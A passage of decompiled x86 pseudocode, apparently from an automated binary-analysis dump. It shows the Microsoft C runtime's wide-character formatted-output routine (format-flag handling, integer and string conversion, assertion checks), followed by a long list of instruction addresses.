																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0x2b8ac616
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E004283F0(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AEE0(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041AEE0(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B620(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E004283F0(__ebp + 0x14);
																		__eax = E00433FA0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E410();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																			__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AEB0(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041AEE0(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E004312B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L0041E410();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422F00(_t510))) = 0x16;
															E00422C90(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E0041AEB0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E0042BD50(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L0041E410();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E0041AEB0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L00422F00(_t502))) = 0x16;
														E00422C90(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E0041AEB0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E00430820( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E004308A0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x0043c459
0x0043c459
0x0043c459
0x0043c459
0x0043c459
0x0043c459
0x0043c459
0x0043c463
0x0043c463
0x0043c463
0x0043c46d
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x0043c4b2
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x0043c590
0x0043c590
0x0043c597
0x00000000
0x00000000
0x0043c599
0x0043c599
0x0043c5a4
0x0043c5aa
0x0043c5ac
0x0043c5b2
0x0043c5b5
0x0043c5b7
0x0043c5bd
0x0043c5c6
0x0043c5cb
0x0043c5e8
0x0043c5eb
0x0043c5eb
0x0043c5f0
0x0043c5f5
0x0043c5f5
0x0043c5fb
0x0043c5fd
0x0043c603
0x0043c609
0x0043c609
0x0043c612
0x0043c612
0x0043c5fb
0x0043c618
0x0043c61c
0x0043c62a
0x0043c62d
0x0043c630
0x0043c637
0x0043c639
0x0043c639
0x0043c61e
0x0043c61e
0x0043c61e
0x0043c646
0x0043c646
0x0043c64c
0x0043c64e
0x0043c64e
0x0043c655
0x0043c65b
0x0043c65e
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x0043c66e
0x0043c674
0x0043c674
0x0043c67a
0x0043c6f7
0x0043c6fd
0x0043c700
0x0043c703
0x0043c706
0x0043c709
0x0043c70f
0x0043c70f
0x0043c715
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x0043c74a
0x0043c74d
0x0043c74d
0x0043c750
0x0043c755
0x0043c755
0x0043c75a
0x0043c771
0x0043c771
0x0043c774
0x0043c78b
0x0043c78b
0x0043c78e
0x0043c790
0x0043c795
0x0043c799
0x0043c799
0x0043c776
0x0043c776
0x0043c77b
0x0043c77f
0x0043c77f
0x0043c75c
0x0043c75c
0x0043c761
0x0043c765
0x0043c765
0x0043c75a
0x0043c7a3
0x0043c7a6
0x0043c7a9
0x0043c7b2
0x0043c7b2
0x0043c7b5
0x0043c7b7
0x0043c7be
0x0043c7c2
0x0043c7cb
0x0043c7d0
0x0043c7d3
0x0043c7da
0x0043c7de
0x0043c7e2
0x0043c7ee
0x0043c7f1
0x0043c7f1
0x0043c7f4
0x0043c7f9
0x0043c7f9
0x0043c7fc
0x0043c7fe
0x0043c805
0x0043c809
0x0043c812
0x0043c817
0x0043c7fc
0x0043c81a
0x0043c81e
0x0043c8d8
0x0043c8d8
0x0043c8df
0x0043c8e3
0x0043c8e7
0x0043c8eb
0x00000000
0x0043c824
0x0043c824
0x0043c824
0x0043c828
0x00000000
0x00000000
0x0043c82e
0x0043c82e
0x0043c831
0x0043c837
0x0043c83a
0x0043c840
0x0043c840
0x0043c840
0x0043c84c
0x0043c84f
0x0043c855
0x0043c857
0x00000000
0x00000000
0x0043c859
0x0043c859
0x0043c85c
0x0043c862
0x0043c86a
0x0043c86c
0x0043c873
0x0043c87a
0x0043c889
0x0043c88f
0x0043c896
0x0043c8a4
0x0043c8a4
0x0043c8ab
0x0043c8b7
0x0043c8c5
0x0043c8cb
0x00000000
0x0043c8cb
0x0043c898
0x0043c898
0x00000000
0x0043c898
0x0043c8d6
0x0043c8f3
0x0043c8f3
0x0043c8fa
0x0043c8ff
0x0043c8ff
0x0043c902
0x0043c904
0x0043c90b
0x0043c918
0x0043c91d
0x0043c902
0x0043c8fa
0x0043c920
0x0043c920
0x0043c924
0x0043c928
0x0043c92c
0x0043c934
0x0043c934
0x0043c93b
0x0043c93b
0x0043babb
0x0043bac2
0x0043bacf
0x0043bad4
0x00000000
0x0043bae7
0x0043baf1
0x0043bb18
0x0043baff
0x0043bb10
0x0043bb10
0x0043baf1
0x0043bb22
0x0043bb28
0x0043bb34
0x0043bb37
0x0043bb45
0x0043bb48
0x0043bb55
0x0043bbfa
0x0043bc00
0x0043bc06
0x0043bc0d
0x00000000
0x00000000
0x0043bc13
0x0043bc19
0x00000000
0x0043bc20
0x0043bc20
0x0043bc3a
0x0043bc3f
0x00000000
0x00000000
0x0043bc47
0x0043bc47
0x0043bc4e
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x0043bc5d
0x0043bc60
0x0043bc67
0x0043bc6e
0x00000000
0x00000000
0x0043bc7a
0x0043bc7a
0x0043bc81
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bc9d
0x00000000
0x00000000
0x0043bc9f
0x0043bca5
0x0043bca5
0x0043bcac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcf0
0x0043bcf0
0x0043bcf7
0x0043bcfa
0x0043bd24
0x0043bd27
0x0043bd27
0x0043bd31
0x0043bd31
0x0043bd35
0x0043bcfc
0x0043bcfc
0x0043bd08
0x0043bd0b
0x0043bd0f
0x0043bd11
0x0043bd14
0x0043bd14
0x0043bd17
0x0043bd1a
0x0043bd1d
0x0043bd1f
0x0043bd1f
0x0043bd22
0x0043bd38
0x00000000
0x00000000
0x0043bd3d
0x0043bd3d
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd50
0x0043bd53
0x0043bd73
0x0043bd76
0x0043bd76
0x0043bd80
0x0043bd80
0x0043bd84
0x0043bd55
0x0043bd55
0x0043bd61
0x0043bd64
0x0043bd68
0x0043bd6a
0x0043bd6a
0x0043bd71
0x00000000
0x00000000
